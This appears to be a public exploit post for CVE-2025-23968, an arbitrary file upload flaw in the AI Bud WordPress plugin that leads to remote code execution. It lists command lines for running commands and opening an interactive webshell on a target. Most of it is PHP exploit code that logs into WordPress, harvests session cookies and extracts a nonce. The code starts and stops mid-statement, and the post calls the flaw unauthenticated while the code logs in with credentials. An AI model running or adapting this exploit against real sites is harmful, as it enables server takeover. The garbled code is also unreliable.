============================================================================================================================================= | # Title : AI Bud 1.8.5 Unauthenticated RCE Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://ai.cibeles.net/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/210977/ & CVE-2025-23968 [+] Summary : an unauthenticated arbitrary file upload vulnerability in the AI Bud 1.8.5 plugin v 1.8.5 and earlier. The vulnerability allows unauthenticated attackers to upload arbitrary files, including PHP webshells, by exploiting the GitHub integration functionality, leading to remote code execution and complete server compromise. The vulnerability exists in the actualizador_git.php file which provides unauthenticated access to download and execute files from arbitrary GitHub repositories without proper security controls. [+] POC : # Execute a single command php poc.php -t https://target.com -o myuser -r myrepo -k ghp_xxx -c 'id'` # Interactive shell php poc.php -t https://target.com -o myuser -r myrepo -k ghp_xxx -i` # Create a shell for the repo php poc.php --create-shell` target = rtrim($target_url, '/'); $this->cookies = []; } public function wp_login($username, $password) { echo "[*] Logging into WordPress...\n"; $login_data = http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $this->target . '/wp-admin', 'testcookie' => '1' ]); $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n" . "Cookie: wordpress_test_cookie=WP Cookie check\r\n", 'content' => $login_data, 'follow_location' => false ] ]); $response = file_get_contents($this->target . '/wp-login.php', false, $context); // Extract cookies from response headers if (isset($http_response_header)) { foreach ($http_response_header as $header) { if (strpos($header, 'Set-Cookie:') === 0) { $cookie = trim(substr($header, 11)); $cookie_parts = explode(';', $cookie); $name_value = explode('=', $cookie_parts[0], 2); if (count($name_value) === 2) { $this->cookies[$name_value[0]] = $name_value[1]; } } } } if (isset($this->cookies['wordpress_logged_in'])) { echo "[+] Successfully logged in\n"; return true; } else { echo "[-] Login failed\n"; return false; } } public function get_cookie_header() { $cookie_string = ''; foreach ($this->cookies as $name => $value) { $cookie_string .= $name . '=' . $value . '; '; } return rtrim($cookie_string, '; '); } public function extract_nonce() { echo "[*] Extracting AI Buddy nonce...\n"; $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => "Cookie: " . $this->get_cookie_header() . "\r\n" ] ]); $response = file_get_contents($this->target . '/wp-admin/tools.php', false, $context); if ($response === false) { echo "[-] Failed to access tools.php\n"; return null; } // Extract nonce using regex $pattern = '/